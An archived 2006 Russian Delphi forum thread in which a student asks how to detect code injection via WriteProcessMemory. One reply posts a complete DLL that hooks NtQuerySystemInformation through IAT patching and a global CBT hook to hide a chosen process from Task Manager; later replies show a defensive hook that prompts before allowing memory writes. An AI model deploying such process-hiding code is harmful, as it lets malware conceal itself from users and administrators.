Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "WinAPI";
Текущий архив: 2006.04.30;
Скачать: [xml.tar.bz2];

Вниз

WriteProcessMemory   Найти похожие ветки 

 
helptome   (2006-02-03 22:44) [0]

ситуация такая: имеем прогу А в которую прога Б внедряет свой код\dll по средствам WriteProcessMemory.
Вопрос: можноли прогой В отследить обращение проги Б к прогу А? Если нет,то как можно это отследить?

P.S искал на Яндексе, нигде ничего про перехват WriteProcessMemory нету:\


 
kaZaNoVa ©   (2006-02-03 22:47) [1]

занимался как-то вопросами внедрения ДЛЛ/кода .. тока думаю сама прога .. ну .. сложно ей будет это сделать ...

Проще имхо отследить openprocess


 
helpme   (2006-02-04 10:55) [2]

openprocess проги внедряющей dll\код? так тут не все так просто,эта прога маскируется,так что поймать её можно только когда она делает свое "черное" дело...

а если написать перехватчитк WriteProcessMemory и внедрить его своей прогой в прогу А,что бы она сама перехватывала это обращение к ней?

Или скажем сравнивать память проги А через промежутки(она вроде же не должна менятся,если ничего постороннего добавлено небыло? Просто я в этой области полный профан,а на курсах задали такую задачку...причем вроде ниче на подобии небыло до этого...вооьщем надо как то выкручиваться)


 
kaZaNoVa ©   (2006-02-04 13:31) [3]

ZoneAlarm например отслеживает именно OpenProcess() (с определенными кодами...)


 
helpme   (2006-02-04 15:33) [4]

я хотел что-то на подобии Outpost, когда было использовано WriteProcessMemory он выдает окошко с инфо - Была изменена память приложения n.exe. Запись в память произвел n2.exe и т.д.

А доков по поводу: "отслеживает именно OpenProcess() (с определенными кодами...)" нету?

спасибо за ответы. Жду еще:)


 
kaZaNoVa ©   (2006-02-04 20:12) [5]

перехват NtQuerySystemInformation :

(для WriteProcessMemory- аналогично)

library hide;

uses
Windows,
SysUtils,
ImageHlp,
TlHelp32;

type SYSTEM_INFORMATION_CLASS = (
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
SystemLockInformation,
SystemNotImplemented3,
SystemNotImplemented4,
SystemNotImplemented5,
SystemHandleInformation,
SystemObjectInformation,
SystemPagefileInformation,
SystemInstructionEmulationCounts,
SystemInvalidInfoClass1,
SystemCacheInformation,
SystemPoolTagInformation,
SystemProcessorStatistics,
SystemDpcInformation,
SystemNotImplemented6,
SystemLoadImage,
SystemUnloadImage,
SystemTimeAdjustment,
SystemNotImplemented7,
SystemNotImplemented8,
SystemNotImplemented9,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemLoadAndCallImage,
SystemPrioritySeparation,
SystemNotImplemented10,
SystemNotImplemented11,
SystemInvalidInfoClass2,
SystemInvalidInfoClass3,
SystemTimeZoneInformation,
SystemLookasideInformation,
SystemSetTimeSlipEvent,
SystemCreateSession,
SystemDeleteSession,
SystemInvalidInfoClass4,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemAddVerifier,
SystemSessionProcessesInformation
);

_IMAGE_IMPORT_DESCRIPTOR = packed record
case Integer of
 0:(
  Characteristics: DWORD);
 1:(
  OriginalFirstThunk:DWORD;
  TimeDateStamp:DWORD;
  ForwarderChain: DWORD;
  Name: DWORD;
  FirstThunk: DWORD);
 end;
IMAGE_IMPORT_DESCRIPTOR=_IMAGE_IMPORT_DESCRIPTOR;
PIMAGE_IMPORT_DESCRIPTOR=^IMAGE_IMPORT_DESCRIPTOR;

PFARPROC=^FARPROC;

procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule);
var     ulSize: ULONG;
 pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
  pszModName: PChar;
      pThunk: PDWORD; ppfn:PFARPROC;
      ffound: LongBool;
     written: DWORD;
begin
pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
if pImportDesc = nil then exit;
while pImportDesc.Name<>0 do
 begin
  pszModName := PChar(hmodCaller + pImportDesc.Name);
   if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break;
  Inc(pImportDesc);
 end;
if (pImportDesc.Name = 0) then exit;
pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
while pThunk^<>0 do
 begin
  ppfn := PFARPROC(pThunk);
  fFound := (ppfn^ = pfnCurrent);
   if (fFound) then
    begin
     VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,written);
     WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written);
     exit;
    end;
  Inc(pThunk);
 end;
end;

var
addr_NtQuerySystemInformation: Pointer;
mypid: DWORD;
fname: PCHAR;
mapaddr: PDWORD;
hideOnlyTaskMan: PBOOL;

function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer;
SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall;
label onceagain, getnextpidstruct, quit, fillzero;
asm
push ReturnLength
push SystemInformationLength
push SystemInformation
push dword ptr SystemInformationClass
call dword ptr [addr_NtQuerySystemInformation]
or eax,eax
jl quit
cmp SystemInformationClass, SystemProcessesAndThreadsInformation
jne quit

onceagain:
mov esi, SystemInformation

getnextpidstruct:
mov ebx, esi
cmp dword ptr [esi],0
je quit
add esi, [esi]
mov ecx, [esi+44h]
cmp ecx, mypid
jne getnextpidstruct
mov edx, [esi]
test edx, edx
je fillzero
add [ebx], edx
jmp onceagain

fillzero:
and [ebx], edx
jmp onceagain

quit:
mov Result, eax
end;

procedure InterceptFunctions;
var hSnapShot: THandle;
       me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle("ntdll.dll"),"NtQuerySystemInformation");
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
if hSnapshot=INVALID_HANDLE_VALUE then exit;
 try
  ZeroMemory(@me32,sizeof(MODULEENTRY32));
  me32.dwSize:=sizeof(MODULEENTRY32);
  Module32First(hSnapShot,me32);
   repeat
    ReplaceIATEntryInOneMod("ntdll.dll",addr_NtQuerySystemInformation,@MyNtQuerySystemInfo,me32.hModule);
   until not Module32Next(hSnapShot,me32);
 finally
  CloseHandle(hSnapShot);
 end;
end;

procedure UninterceptFunctions;
var hSnapShot: THandle;
       me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle("ntdll.dll"),"NtQuerySystemInformation");
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
if hSnapshot=INVALID_HANDLE_VALUE then exit;
try
 ZeroMemory(@me32,sizeof(MODULEENTRY32));
 me32.dwSize:=sizeof(MODULEENTRY32);
 Module32First(hSnapShot,me32);
  repeat
   ReplaceIATEntryInOneMod("ntdll.dll",@MyNtQuerySystemInfo,addr_NtQuerySystemInformation,me32.hModule);
  until not Module32Next(hSnapShot,me32);
finally
 CloseHandle(hSnapShot);
end;
end;

var HookHandle: THandle;

function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall;
begin
Result:=0;
end;

procedure InstallHook; stdcall;
begin
HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;

var hFirstMapHandle:THandle;

function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL; stdcall;
var addrMap: PDWORD;
     ptr2: PBOOL;
begin
mypid:=0;
result:=false;
hFirstMapHandle:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,8,"NtHideFileMapping");
if hFirstMapHandle=0 then exit;
addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8);
if addrMap=nil then
 begin
  CloseHandle(hFirstMapHandle);
  exit;
 end;
addrMap^:=pid;
ptr2:=PBOOL(DWORD(addrMap)+4);


 
kaZaNoVa ©   (2006-02-04 20:13) [6]

ptr2^:=HideOnlyFromTaskManager;
UnmapViewOfFile(addrMap);
InstallHook;
result:=true;
end;

exports
HideProcess;

var
hmap: THandle;

procedure LibraryProc(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then
if mypid > 0 then
 UninterceptFunctions()
else
CloseHandle(hFirstMapHandle);
end;

begin
hmap:=OpenFileMapping(FILE_MAP_READ,false,"NtHideFileMapping");
if hmap=0 then exit;
try
 mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0);
  if mapaddr=nil then exit;
 mypid:=mapaddr^;
 hideOnlyTaskMan:=PBOOL(DWORD(mapaddr)+4);
  if hideOnlyTaskMan^ then
   begin
    fname:=allocMem(MAX_PATH+1);
    GetModuleFileName(GetModuleHandle(nil),fname,MAX_PATH+1);
     if not (ExtractFileName(fname)="taskmgr.exe") then exit;
   end;
 InterceptFunctions;
finally
 UnmapViewOfFile(mapaddr);
 CloseHandle(Hmap);
 DLLProc:=@LibraryProc;
end;
end.


 
helpme   (2006-02-04 21:19) [7]

э,я во всем этом профан честно говоря и мало че понял(winapi), но исходя из того,что аналогично(как вы сказали),я делаю вывод: для перехвата нужной мне функции надо просто заменить NtQuerySystemInformation на WriteProcessMemory? (или zwWriteProcessMemory) я прав?

P.S спасибо вам большее за помощь


 
kaZaNoVa ©   (2006-02-04 21:25) [8]

helpme   (04.02.06 21:19) [7]
если Вам непонятен код [5], то думаю немного стоит поучить delphi прежде чем браться за задачи подобной сложности..

а по теме - "просто заменить" - не совсем просто - надо соответсвенно обьявить "свою" "WriteProcessMemory" и в ней реализовать нужную функциональность, так же WriteProcessMemory находится в  kernel32.dll а не в "ntdll.dll" .. и т.д.


 
kaZaNoVa ©   (2006-02-07 18:21) [9]

к автору - задача решена? если да, то как, нам тоже интересно ...


 
Rouse_ ©   (2006-02-07 22:43) [10]

Ну вообщето примитивная и абсолютно глупая защита от VirtualAllocEx - это захват всей доступной виртуальной памяти при самом старте процесса :) Тогда в нем выделить ничего не получиться, ибо негде... :)


 
kaZaNoVa ©   (2006-02-07 23:27) [11]

Rouse_ ©   (07.02.06 22:43) [10]
а как это можно реализовать?


 
Игорь Шевченко ©   (2006-02-08 11:26) [12]

Против лома нет приема


 
Lamer@fools.ua ©   (2006-02-08 23:43) [13]

>>kaZaNoVa ©   (07.02.06 23:27) [11]

VirtualAlloc + MEM_RESERVE, я полагаю.

>>Игорь Шевченко ©   (08.02.06 11:26) [12]

>Против лома нет приема
... если нет другого лома :-)


 
helpme   (2006-02-09 10:45) [14]

вот вот,против лома есть прием - другой лом, но эт я отвлекся

Нет,еще не решил,последовал вашему совету:
> если Вам непонятен код [5], то думаю немного стоит поучить
> delphi прежде чем браться за задачи подобной сложности..
>

Так что пока даже к практике и не приступал. Еще проблема в том,что Делфя у меня уже даже и не помню откуда,но догадываюсь что не с нормального магазина,ибо хелп отсутствует в корне :\ Так что проблем куча,а сроки жмут.
Но ниче,пробъемся.

P.S спасибо огромное всем за ответы


 
Игорь Шевченко ©   (2006-02-09 11:08) [15]

Lamer@fools.ua ©   (08.02.06 23:43) [13]

В данном случае против лома вообще приемов нету. Никакие перехваты не помогут


 
kaZaNoVa ©   (2006-02-09 17:14) [16]

пошаманил тут немного на досуге над сабжем, вышло типа - сабжевая WriteProcessMemory перехватывается и  запришивается у юзера- разрешить её выполнение или нет:
function myWriteProcessMemory(hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer;
 nSize: DWORD; var lpNumberOfBytesWritten: DWORD): BOOL; stdcall;
Var t:integer;
Begin
@oldWriteProcessMemory:=addr_WriteProcessMemory;

t:=MessageBoxA(0,"he-he, нажмите ОК если разрешаете программе запись в память","Внимание-перехватили!!!!!",MB_OKCANCEL );

if t<>1 then
begin
MessageBoxA(0,"запись в память отменили, послали ошибку - программа может повести ссебя неадекватно :crazy:","Внимание !",0);
Result:=false;
end else Result:=oldWriteProcessMemory(hProcess,lpBaseAddress,lpBuffer,nSize,lpNumberOfBytesWritten);
end;


сам перехват реализовал немного по другому - с помощью библиотеки HideMod:

procedure InterceptFunctions; //перехватим
begin
addr_WriteProcessMemory:=DLLInterceptAPI ("WriteProcessMemory","kernel32.dll",@myWriteProcessMemory);
end;

procedure UninterceptFunctions;//восстановим
begin
DLLUnInterceptAPI(addr_WriteProcessMemory,@myWriteProcessMemory);
end;


 
kaZaNoVa ©   (2006-02-09 17:41) [17]

kaZaNoVa ©   (09.02.06 17:14) [16]
с помощью библиотеки HideMod:

эту библиотеку можно скачать с Кладовки (полные исходники с множеством примеров)
http://kladovka.net.ru/index.cgi?pid=list&rid=330


 
n0name   (2006-02-09 17:55) [18]

Не думал что мой модуль где то валяется :))


 
kaZaNoVa ©   (2006-02-10 01:24) [19]

n0name   (09.02.06 17:55) [18]
:)


 
Игорь Шевченко ©   (2006-02-10 11:45) [20]

kaZaNoVa ©   (09.02.06 17:14) [16]

Мне такие действия сильно напоминают установку стальной двери рядом с дыркой в заборе


 
kaZaNoVa ©   (2006-02-10 12:40) [21]

Игорь Шевченко ©   (10.02.06 11:45) [20]
тот пример у меня работал, и подобным образом думаю легко можно вычислить "вредоносную" программу ..


 
Игорь Шевченко ©   (2006-02-10 13:13) [22]

kaZaNoVa ©   (10.02.06 12:40) [21]

нелегко


 
Хинт ©   (2006-02-10 18:30) [23]

2 kaZaNoVa:
А что такое oldWriteProcessMemory?


 
n0name   (2006-02-10 20:05) [24]

Игорь Шевченко ©   (10.02.06 11:45) [20]
вопрос - ответ.


 
kaZaNoVa ©   (2006-02-10 20:13) [25]

Хинт ©   (10.02.06 18:30) [23]
А что такое oldWriteProcessMemory?



type PWriteProcessMemory=function (hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer;
 nSize: DWORD; var lpNumberOfBytesWritten: DWORD): BOOL; stdcall;

var

oldWriteProcessMemory:PWriteProcessMemory;



 
Хинт ©   (2006-02-10 20:32) [26]

2kaZaNoVa
Хм. У меня код не работает (никакой реакции на WriteProcessMemory).


 
kaZaNoVa ©   (2006-02-10 20:44) [27]

Хинт ©   (10.02.06 20:32) [26]
странно, у меня работал ..

а что именно не работает?
перехват осуществляется? или мож глюки какие? ошибки?


 
Хинт ©   (2006-02-10 20:50) [28]

Вызываю InterceptFunctiont. Потом запускаю утилиту, которая делает WriteProcessMemory. Никаких сообщений не выводится, программа спокойно получает доступ к памяти. Насколько я понимаю, хук не устанавливается.

P.S. Windows XP SP2



Страницы: 1 вся ветка

Форум: "WinAPI";
Текущий архив: 2006.04.30;
Скачать: [xml.tar.bz2];

Наверх





Память: 0.54 MB
Время: 0.009 c
15-1144358561
Gero
2006-04-07 01:22
2006.04.30
Поклонникам Opera посвящается


15-1144414217
Ezorcist
2006-04-07 16:50
2006.04.30
Как перезагрузить ПК?


15-1144252234
Piter
2006-04-05 19:50
2006.04.30
Подскажите способ интерполяции и экстраполяции свойств газов


2-1145076883
Дева
2006-04-15 08:54
2006.04.30
Перенос по строчкам


2-1144938720
Системщик
2006-04-13 18:32
2006.04.30
Десятичный логарифм





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский